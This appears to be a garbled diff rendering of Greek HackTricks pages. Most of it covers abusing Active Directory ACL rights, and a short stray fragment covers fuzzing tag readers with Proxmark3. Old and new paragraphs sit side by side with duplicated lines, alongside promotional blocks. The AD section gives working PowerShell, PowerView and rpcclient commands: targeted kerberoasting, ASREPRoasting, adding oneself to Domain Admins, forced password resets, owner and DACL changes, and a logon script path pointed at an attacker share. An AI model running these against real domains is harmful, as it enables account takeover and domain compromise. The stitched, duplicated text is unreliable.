Το λογισμικό Proxmark3 διαθέτει μια προεγκατεστημένη λίστα **σεναρίων αυτοματισμού** που μπορείτε να χρησιμοποιήσετε για να εκτελέσετε απλές εργασίες. Για να ανακτήσετε την πλήρη λίστα, χρησιμοποιήστε την εντολή `script list`. Στη συνέχεια, χρησιμοποιήστε την εντολή `script run`, ακολουθούμενη από το όνομα του σεναρίου: Το λογισμικό Proxmark3 διαθέτει μια προφορτωμένη λίστα **σεναρίων αυτοματισμού** που μπορείτε να χρησιμοποιήσετε για την εκτέλεση απλών εργασιών. Για να ανακτήσετε την πλήρη λίστα, χρησιμοποιήστε την εντολή `script list`. Στη συνέχεια, χρησιμοποιήστε την εντολή `script run`, ακολουθούμενη από το όνομα του σεναρίου:
``` ```
proxmark3> script run mfkeys proxmark3> script run mfkeys
``` ```
Μπορείτε να δημιουργήσετε ένα σενάριο για να **δοκιμάσετε την ανθεκτικότητα των αναγνωστών ετικετών**, έτσι ώστε να αντιγράψετε τα δεδομένα ενός **έγκυρου καρτών**. Απλά γράψτε ένα **Lua script** που θα **τυχαιοποιεί** ένα ή περισσότερα **τυχαία bytes** και θα ελέγχει αν ο αναγνώστης καταρρέει με οποιαδήποτε επανάληψη. Μπορείτε να δημιουργήσετε ένα σενάριο για **fuzz tag readers**, αντιγράφοντας τα δεδομένα ενός **έγκυρου κάρτ**α απλά γράψτε ένα **Lua script** που **τυχαιοποιεί** έναν ή περισσότερους τυχαίους **bytes** και ελέγξτε αν ο **αναγνώστης καταρρέει** με οποιαδήποτε επανάληψη.
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Βρείτε τις πιο σημαντικές ευπάθειες, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Το Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίβα, από τις διεπαφές προς τις ιστοσελίδες και τα συστήματα στο cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Δουλεύετε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Συμμετάσχετε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -4,76 +4,74 @@
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks: Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) **και** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **αποθετήρια του github.**
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> **Αυτή η σελίδα είναι κυρίως ένας περίληψη των τεχνικών από** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **και** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Για περισσότερες λεπτομέρειες, ελέγξτε τα αρχικά άρθρα.**
Βρείτε ευπάθειες που είναι πιο σημαντικές, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Το Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίβα, από τα APIs μέχρι τις web εφαρμογές και τα συστήματα στο cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα. ## **Γενικά Δικαιώματα GenericAll στον Χρήστη**
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} Αυτό το προνόμιο παρέχει σε έναν επιτιθέμενο πλήρη έλεγχο επί του λογαριασμού χρήστη στόχου. Μόλις επιβεβαιωθούν τα δικαιώματα `GenericAll` χρησιμοποιώντας την εντολή `Get-ObjectAcl`, ένας επιτιθέμενος μπορεί:
*** * **Αλλαγή του Κωδικού του Στόχου**: Χρησιμοποιώντας την εντολή `net user <όνομαρήστη> <κωδικός> /domain`, ο επιτιθέμενος μπορεί να επαναφέρει τον κωδικό του χρήστη.
* **Κερβερικό Roasting με Στόχευση**: Αναθέτει ένα SPN στον λογαριασμό του χρήστη για να γίνει δυνατή η επίθεση kerberoasting, στη συνέχεια χρησιμοποιεί τα εργαλεία Rubeus και targetedKerberoast.py για να εξάγει και να προσπαθήσει να αποκρυπτογραφήσει τα hashes των εισιτηρίων που χορηγούνται (TGT).
**Αυτή η σελίδα είναι κυρίως ένα σύνοψη των τεχνικών από το [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) και [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges). Για περισσότερες λεπτομέρειες, ελέγξτε τα αρχικά άρθρα.**
## **Γενικά δικαιώματα GenericAll στον χρήστη**
Αυτό το δικαίωμα παρέχει σε έναν επιτιθέμενο πλήρη έλεγχο επί ενός στόχου χρήστη. Μόλις επιβεβαιωθούν τα δικαιώματα `GenericAll` χρησιμοποιώντας την εντολή `Get-ObjectAcl`, ένας επιτιθέμενος μπορεί:
- **Αλλαγή του κωδικού πρόσβασης του στόχου**: Χρησιμοποιώντας την εντολή `net user <όνομαρήστη> <κωδικός_πρόσβασης> /domain`, ο επιτιθέμενος μπορεί να επαναφέρει τον κωδικό πρόσβασης του χρήστη.
- **Επιλεγμένο Kerberoasting**: Αναθέστε ένα SPN στον λογαριασμό του χρήστη για να τον καταστήσετε ευάλωτο στο Kerberoasting, και στη συνέχεια χρησιμοποιήστε τα εργαλεία Rubeus και targetedKerberoast.py για να εξαγάγετε και να προσπαθήσετε να αποκρυπτογραφήσετε τα hashes του εισιτηρίου παροχής (TGT).
```powershell ```powershell
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"} Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
.\Rubeus.exe kerberoast /user:<username> /nowrap .\Rubeus.exe kerberoast /user:<username> /nowrap
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
``` ```
- **Επιλεγμένη επίθεση ASREPRoasting**: Απενεργοποιήστε την προ-επαλήθευση για τον χρήστη, καθιστώντας τον λογαριασμό του ευάλωτο στην επίθεση ASREPRoasting. * **Στοχευμένο ASREPRoasting**: Απενεργοποιήστε την προελεγμένη πιστοποίηση για τον χρήστη, καθιστώντας τον λογαριασμό του ευάλωτο στο ASREPRoasting.
```powershell ```powershell
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304} Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
``` ```
## **Γενικά Δικαιώματα GenericAll σε Ομάδα** ## **Γενικά Δικαιώματα στην Ομάδα**
Αυτό το προνόμιο επιτρέπει σε έναν επιτιθέμενο να διαχειριστεί την συμμετοχή σε ομάδες εάν έχει `GenericAll` δικαιώματα σε μια ομάδα όπως οι `Domain Admins`. Αφού εντοπίσει το διακριτό όνομα της ομάδας με την εντολή `Get-NetGroup`, ο επιτιθέμενος μπορεί να:
- **Προσθέσει τον ίδιο στην Ομάδα Domain Admins**: Αυτό μπορεί να γίνει μέσω απευθείας εντολών ή χρησιμοποιώντας εργαλεία όπως το Active Directory ή το PowerSploit. Αυτό το προνόμιο επιτρέπει σε έναν εισβολέα να χειριστεί τα μέλη μιας ομάδας εάν έχει `Γενικά Δικαιώματα` σε μια ομάδα όπως οι `Domain Admins`. Αφού εντοπίσει το διακριτικό όνομα της ομάδας με την εντολή `Get-NetGroup`, ο εισβολέας μπορεί:
* **Προσθήκη του ίδιου στην Ομάδα Domain Admins**: Αυτό μπορεί να γίνει μέσω άμεσων εντολών ή χρησιμοποιώντας εργαλεία όπως το Active Directory ή το PowerSploit.
```powershell ```powershell
net group "domain admins" spotless /add /domain net group "domain admins" spotless /add /domain
Add-ADGroupMember -Identity "domain admins" -Members spotless Add-ADGroupMember -Identity "domain admins" -Members spotless
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local" Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
``` ```
## **GenericAll / GenericWrite / Write on Computer/User** ## **GenericAll / GenericWrite / Write on Computer/User**
Διατηρώντας αυτά τα προνόμια σε ένα αντικείμενο υπολογιστή ή έναν λογαριασμό χρήστη επιτρέπεται:
- **Περιορισμένη Ανάθεση Πόρων Kerberos**: Επιτρέπει την ανάληψη ελέγχου ενός αντικειμένου υπολογιστή. Η κατοχή αυτών των προνομίων σε ένα αντικείμενο υπολογιστή ή σε έναν λογαριασμό χρήστη επιτρέπει:
- **Σκιώδεις Διαπιστευτήρια**: Χρησιμοποιήστε αυτήν την τεχνική για να προσομοιώσετε έναν υπολογιστή ή έναν λογαριασμό χρήστη εκμεταλλευόμενοι τα προνόμια για τη δημιουργία σκιώδων διαπιστευτηρίων.
* **Περιορισμένη Αναθεώρηση Πόρων Kerberos**: Επιτρέπει την ανάληψη ενός αντικειμένου υπολογιστή.
* **Σκιώδεις Διαπιστεύσεις**: Χρησιμοποιήστε αυτήν την τεχνική για να υποκαταστήσετε έναν υπολογιστή ή έναν λογαριασμό χρήστη εκμεταλλευόμενο τα προνόμια για τη δημιουργία σκιώδων διαπιστεύσεων.
## **WriteProperty on Group** ## **WriteProperty on Group**
Εάν ένας χρήστης έχει δικαιώματα `WriteProperty` σε όλα τα αντικείμενα για ένα συγκεκριμένο γκρουπ (π.χ. `Domain Admins`), μπορεί:
- **Προσθήκη του ίδιου στο γκρουπ Domain Admins**: Επιτυγχάνεται μέσω του συνδυασμού των εντολών `net user` και `Add-NetGroupUser`, αυτή η μέθοδος επιτρέπει την ανέλιξη προνομίων εντός του τομέα. Αν ένας χρήστης έχει δικαιώματα `WriteProperty` σε όλα τα αντικείμενα για ένα συγκεκριμένο γκρουπ (π.χ., `Domain Admins`), μπορεί:
* **Προσθήκη του ίδιου στην Ομάδα Domain Admins**: Επιτυγχάνεται μέσω του συνδυασμού των εντολών `net user` και `Add-NetGroupUser`, αυτή η μέθοδος επιτρέπει την ανόδο στα επίπεδα προνομίων εντός του τομέα.
```powershell ```powershell
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
``` ```
## **Αυτό (Αυτο-Μέλετη) στην Ομάδα** ## **Αυτο-Μέλος (Αυτο-Μέλετη) σε Ομάδα**
Αυτό το προνόμιο επιτρέπει στους επιτιθέμενους να προσθέσουν τον εαυτό τους σε συγκεκριμένες ομάδες, όπως οι `Domain Admins`, μέσω εντολών που παραβιάζουν άμεσα την ιδιότητα μέλους της ομάδας. Χρησιμοποιώντας την παρακάτω ακολουθία εντολών επιτρέπεται η προσθήκη του εαυτού:
Αυτό το προνόμιο επιτρέπει στους επιτιθέμενους να προσθέσουν τον εαυτό τους σε συγκεκριμένες ομάδες, όπως οι `Domain Admins`, μέσω εντολών που ρυθμίζουν τη μέληση στην ομάδα απευθείας. Χρησιμοποιώντας την παρακάτω ακολουθία εντολών επιτρέπεται η προσθήκη του εαυτού:
```powershell ```powershell
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
``` ```
## **WriteProperty (Αυτο-Μέλετη)** ## **WriteProperty (Αυτο-Μέλος)**
Μια παρόμοια προνόμιση, αυτή επιτρέπει στους επιτιθέμενους να προσθέτουν απευθείας τον εαυτό τους σε ομάδες, τροποποιώντας τις ιδιότητες των ομάδων αν έχουν το δικαίωμα `WriteProperty` σε αυτές τις ομάδες. Η επιβεβαίωση και η εκτέλεση αυτής της προνόμισης πραγματοποιούνται με:
Μια παρόμοια προνομιούχα δυνατότητα, αυτή επιτρέπει σε επιτιθέμενους να προσθέσουν απευθείας τον εαυτό τους σε ομάδες τροποποιώντας τις ιδιότητες των ομάδων αν έχουν το δικαίωμα `WriteProperty` σε αυτές τις ομάδες. Η επιβεβαίωση και εκτέλεση αυτού του προνομίου γίνεται με:
```powershell ```powershell
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
net group "domain admins" spotless /add /domain net group "domain admins" spotless /add /domain
``` ```
## **ForceChangePassword** ## **ForceChangePassword**
Η κατοχή του `ExtendedRight` σε έναν χρήστη για το `User-Force-Change-Password` επιτρέπει την επαναφορά του κωδικού πρόσβασης χωρίς να γνωρίζετε τον τρέχοντα κωδικό. Η επαλήθευση αυτού του δικαιώματος και η εκμετάλλευσή του μπορεί να γίνει μέσω PowerShell ή εναλλακτικών εργαλείων γραμμής εντολών, προσφέροντας αρκετές μεθόδους για την επαναφορά του κωδικού πρόσβασης ενός χρήστη, συμπεριλαμβανομένων διαδραστικών συνεδριών και μονογραμμικών εντολών για μη διαδραστικά περιβάλλοντα. Οι εντολές κυμαίνονται από απλές εκτελέσεις PowerShell έως τη χρήση του `rpcclient` στο Linux, επιδεικνύοντας την ευελιξία των διανυσμάτων επίθεσης.
Η κατοχή του `ExtendedRight` σε έναν χρήστη για το `User-Force-Change-Password` επιτρέπει την επαναφορά κωδικών πρόσβασης χωρίς την ανάγκη γνώσης του τρέχοντος κωδικού. Η επαλήθευση αυτού του δικαιώματος και η εκμετάλλευσή του μπορεί να γίνει μέσω PowerShell ή εναλλακτικών εργαλείων γραμμής εντολών, προσφέροντας πολλαπλές μεθόδους για την επαναφορά κωδικού ενός χρήστη, συμπεριλαμβανομένων διαδραστικών συνεδριών και μονοεντολικών εντολών για μη διαδραστικά περιβάλλοντα. Οι εντολές κυμαίνονται από απλές εκκινήσεις PowerShell μέχρι τη χρήση του `rpcclient` στο Linux, επιδεικνύοντας την ευελιξία των διανυσμάτων επίθεσης.
```powershell ```powershell
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"} Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainUserPassword -Identity delegate -Verbose Set-DomainUserPassword -Identity delegate -Verbose
@ -84,20 +82,23 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri
rpcclient -U KnownUsername 10.10.10.192 rpcclient -U KnownUsername 10.10.10.192
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!' > setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
``` ```
## **Εγγραφή ως Κάτοχος σε Ομάδα** ## **WriteOwner on Group**
Αν ένας επιτιθέμενος ανακαλύψει ότι έχει δικαιώματα `WriteOwner` σε μια ομάδα, μπορεί να αλλάξει την κυριότητα της ομάδας σε εαυτόν. Αυτό είναι ιδιαίτερα επιδραστικό όταν η συγκεκριμένη ομάδα είναι οι `Domain Admins`, καθώς η αλλαγή της κυριότητας επιτρέπει ευρύτερο έλεγχο στα χαρακτηριστικά και την συμμετοχή της ομάδας. Η διαδικασία περιλαμβάνει τον εντοπισμό του σωστού αντικειμένου μέσω της εντολής `Get-ObjectAcl` και στη συνέχεια τη χρήση της εντολής `Set-DomainObjectOwner` για την τροποποίηση του κατόχου, είτε με βάση το SID είτε με βάση το όνομα.
Εάν ένας επιτιθέμενος ανακαλύψει ότι έχει δικαιώματα `WriteOwner` πάνω σε ένα γκρουπ, μπορεί να αλλάξει την ιδιοκτησία του γκρουπ σε εαυτόν. Αυτό είναι ιδιαίτερα σημαντικό όταν το γκρουπ που αφορά είναι τα `Domain Admins`, καθώς η αλλαγή της ιδιοκτησίας επιτρέπει ευρύτερο έλεγχο των χαρακτηριστικών του γκρουπ και της συμμετοχής. Η διαδικασία περιλαμβάνει την εντοπισμό του σωστού αντικειμένου μέσω της `Get-ObjectAcl` και στη συνέχεια τη χρήση της `Set-DomainObjectOwner` για την τροποποίηση του ιδιοκτήτη, είτε με βάση το SID είτε το όνομα.
```powershell ```powershell
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
``` ```
## **GenericWrite σε Χρήστη** ## **GenericWrite στον Χρήστη**
Αυτή η άδεια επιτρέπει σε έναν επιτιθέμενο να τροποποιήσει τις ιδιότητες του χρήστη. Συγκεκριμένα, με την πρόσβαση `GenericWrite`, ο επιτιθέμενος μπορεί να αλλάξει τη διαδρομή του σεναρίου σύνδεσης ενός χρήστη για να εκτελέσει ένα κακόβουλο σενάριο κατά τη σύνδεση του χρήστη. Αυτό επιτυγχάνεται χρησιμοποιώντας την εντολή `Set-ADObject` για να ενημερώσει την ιδιότητα `scriptpath` του στόχου χρήστη ώστε να δείχνει στο σενάριο του επιτιθέμενου.
Αυτή η άδεια επιτρέπει σε έναν εισβολέα να τροποποιήσει τις ιδιότητες του χρήστη. Συγκεκριμένα, με πρόσβαση στο `GenericWrite`, ο εισβολέας μπορεί να αλλάξει τη διαδρομή του σεναρίου σύνδεσης ενός χρήστη για να εκτελέσει ένα κακόβουλο σενάριο κατά τη σύνδεση του χρήστη. Αυτό επιτυγχάνεται χρησιμοποιώντας την εντολή `Set-ADObject` για να ενημερώσετε την ιδιότητα `scriptpath` του στόχου χρήστη ώστε να δείχνει στο σενάριο του εισβολέα.
```powershell ```powershell
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1" Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
``` ```
## **GenericWrite σε Ομάδα** ## **GenericWrite στην Ομάδα**
Με αυτό το προνόμιο, οι επιτιθέμενοι μπορούν να παρεμβάλλονται στην ομάδα μέλη, όπως να προσθέτουν τον εαυτό τους ή άλλους χρήστες σε συγκεκριμένες ομάδες. Αυτή η διαδικασία περιλαμβάνει τη δημιουργία ενός αντικειμένου διαπιστευτηρίου, τη χρήση του για την προσθήκη ή την αφαίρεση χρηστών από μια ομάδα και τον έλεγχο των αλλαγών στην συμμετοχή με εντολές PowerShell.
Με αυτό το προνόμιο, οι επιτιθέμενοι μπορούν να χειριστούν την συμμετοχή σε ομάδες, όπως την προσθήκη τους ή άλλων χρηστών σε συγκεκριμένες ομάδες. Αυτή η διαδικασία περιλαμβάνει τη δημιουργία ενός αντικειμένου διαπιστευτικών, τη χρήση του για την προσθήκη ή αφαίρεση χρηστών από μια ομάδα και την επαλήθευση των αλλαγών στη συμμετοχή με εντολές PowerShell.
```powershell ```powershell
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force $pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd) $creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
@ -106,7 +107,8 @@ Get-DomainGroupMember -Identity "Group Name" | Select MemberName
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
``` ```
## **WriteDACL + WriteOwner** ## **WriteDACL + WriteOwner**
Η ιδιοκτησία ενός αντικειμένου AD και η έχουσα δικαιώματα `WriteDACL` σε αυτό επιτρέπει σε έναν επιτιθέμενο να χορηγήσει στον εαυτό του δικαιώματα `GenericAll` στο αντικείμενο. Αυτό επιτυγχάνεται μέσω της αλλοίωσης του ADSI, επιτρέποντας πλήρη έλεγχο του αντικειμένου και τη δυνατότητα τροποποίησης της ομάδας στην οποία ανήκει. Παρόλα αυτά, υπάρχουν περιορισμοί όταν προσπαθείτε να εκμεταλλευτείτε αυτά τα δικαιώματα χρησιμοποιώντας τα cmdlets `Set-Acl` / `Get-Acl` του Active Directory module.
Το να είστε ο κάτοχος ενός αντικειμένου AD και να έχετε δικαιώματα `WriteDACL` σε αυτό επιτρέπει σε έναν επιτιθέμενο να χορηγήσει στον εαυτό του δικαιώματα `GenericAll` στο αντικείμενο. Αυτό επιτυγχάνεται μέσω της διαχείρισης ADSI, επιτρέποντας πλήρη έλεγχο επί του αντικειμένου και τη δυνατότητα να τροποποιήσει τα μέλη των ομάδων του. Παρόλα αυτά, υπάρχουν περιορισμοί όταν προσπαθείτε να εκμεταλλευτείτε αυτά τα δικαιώματα χρησιμοποιώντας τα cmdlets `Set-Acl` / `Get-Acl` του Active Directory module.
```powershell ```powershell
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local" $ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier]) $IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
@ -114,86 +116,59 @@ $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityRe
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE) $ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
$ADSI.psbase.commitchanges() $ADSI.psbase.commitchanges()
``` ```
## **Αναπαραγωγή στον τομέα (DCSync)** ## **Αναπαραγωγή στο Domain (DCSync)**
Η επίθεση DCSync εκμεταλλεύεται συγκεκριμένες άδειες αναπαραγωγής στον τομέα για να προσομοιώσει έναν ελεγκτή τομέα και να συγχρονίσει δεδομένα, συμπεριλαμβανομένων των διαπιστευτηρίων χρήστη. Αυτή η ισχυρή τεχνική απαιτεί άδειες όπως `DS-Replication-Get-Changes`, επιτρέποντας στους επιτιθέμενους να εξάγουν ευαίσθητες πληροφορίες από το περιβάλλον AD χωρίς άμεση πρόσβαση σε έναν ελεγκτή τομέα.
[**Μάθετε περισσότερα για την επίθεση DCSync εδώ.**](../dcsync.md)
Η επίθεση DCSync εκμεταλλεύεται συγκεκριμένες άδειες αναπαραγωγής στο domain για να μιμηθεί ένα Domain Controller και να συγχρονίσει δεδομένα, συμπεριλαμβανομένων των διαπιστευτηρίων χρήστη. Αυτή η ισχυρή τεχνική απαιτεί άδειες όπως `DS-Replication-Get-Changes`, επιτρέποντας στους επιτιθέμενους να εξάγουν ευαίσθητες πληροφορίες από το περιβάλλον του AD χωρίς άμεση πρόσβαση σε ένα Domain Controller. [**Μάθετε περισσότερα για την επίθεση DCSync εδώ.**](../dcsync.md)
## Ανάθεση GPO <a href="#gpo-delegation" id="gpo-delegation"></a> ## Ανάθεση GPO <a href="#gpo-delegation" id="gpo-delegation"></a>
### Ανάθεση GPO ### Ανάθεση GPO
Η ανάθεση πρόσβασης για τη διαχείριση των αντικειμένων Group Policy (GPOs) μπορεί να παρουσιάσει σημαντικούς κινδύνους ασφαλείας. Για παράδειγμα, αν ένας χρήστης όπως `offense\spotless` έχει ανατεθεί δικαιώματα διαχείρισης GPO, μπορεί να έχει προνόμια όπως **WriteProperty**, **WriteDacl**, και **WriteOwner**. Αυτές οι άδειες μπορούν να καταχραστούνται για κακόβουλους σκοπούς, όπως εντοπίζεται χρησιμοποιώντας το PowerView: Η ανάθεση πρόσβασης για τη διαχείριση των αντικειμένων ομάδας πολιτικής (GPOs) μπορεί να παρουσιάσει σημαντικούς κινδύνους ασφάλειας. Για παράδειγμα, αν ένας χρήστης όπως `offense\spotless` έχει ανατεθεί δικαιώματα διαχείρισης GPO, μπορεί να έχει προνόμια όπως **WriteProperty**, **WriteDacl**, και **WriteOwner**. Αυτές οι άδειες μπορούν να καταχραστούν για κακόβουλους σκοπούς, όπως αναγνωρίζεται χρησιμοποιώντας το PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
```bash
Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
```
### Εντοπισμός άδειας GPO ### Απαρίθμηση Δικαιωμάτων GPO
